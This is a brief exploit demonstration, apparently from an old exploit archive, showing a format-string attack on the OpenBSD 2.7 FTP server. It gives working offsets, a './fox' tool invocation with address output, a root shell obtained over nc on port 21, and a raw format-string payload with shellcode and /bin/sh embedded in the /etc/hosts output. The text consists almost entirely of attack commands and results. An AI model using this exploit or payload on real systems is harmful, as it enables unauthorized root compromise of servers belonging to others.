Exploiting OpenBSD 2.7 ftp server

Input has to be < 256 characters, working offsets are -18 and -2
Ex:

root@wolf> ./fox -s 220 -p 50 -o-18 ex2/ex2
alignment               0
chars before argument   111
chars before insert     0
argument offset         9
argument pointer offset 0
argument address        0xdfbfd15c
esp                     0xdfbfd138

uid=0(root) gid=0(wheel) groups=0(wheel)
root@wolf> nc 127.0.0.1 21
id
uid=0(root) gid=0(wheel) groups=0(wheel)
uname -a
OpenBSD wolf 3.0 GENERIC#0 i386
cat /etc/hosts
127.0.0.1 AAAAЁBBBBЁCCCCЁDDDDЁ%p%p%p%p%p%p%p%p%p%0323x%hn%0287x%hn%0238x%hn%0288x%hnI$1QPÃS?KXKÉKHP;UUU%;̀PPUUU%̀聲끴[CODE_BY_LONEWOLF]/bin/shF-cGG/bin/shAxxxxxxxxxxxxx
exit
root@wolf>
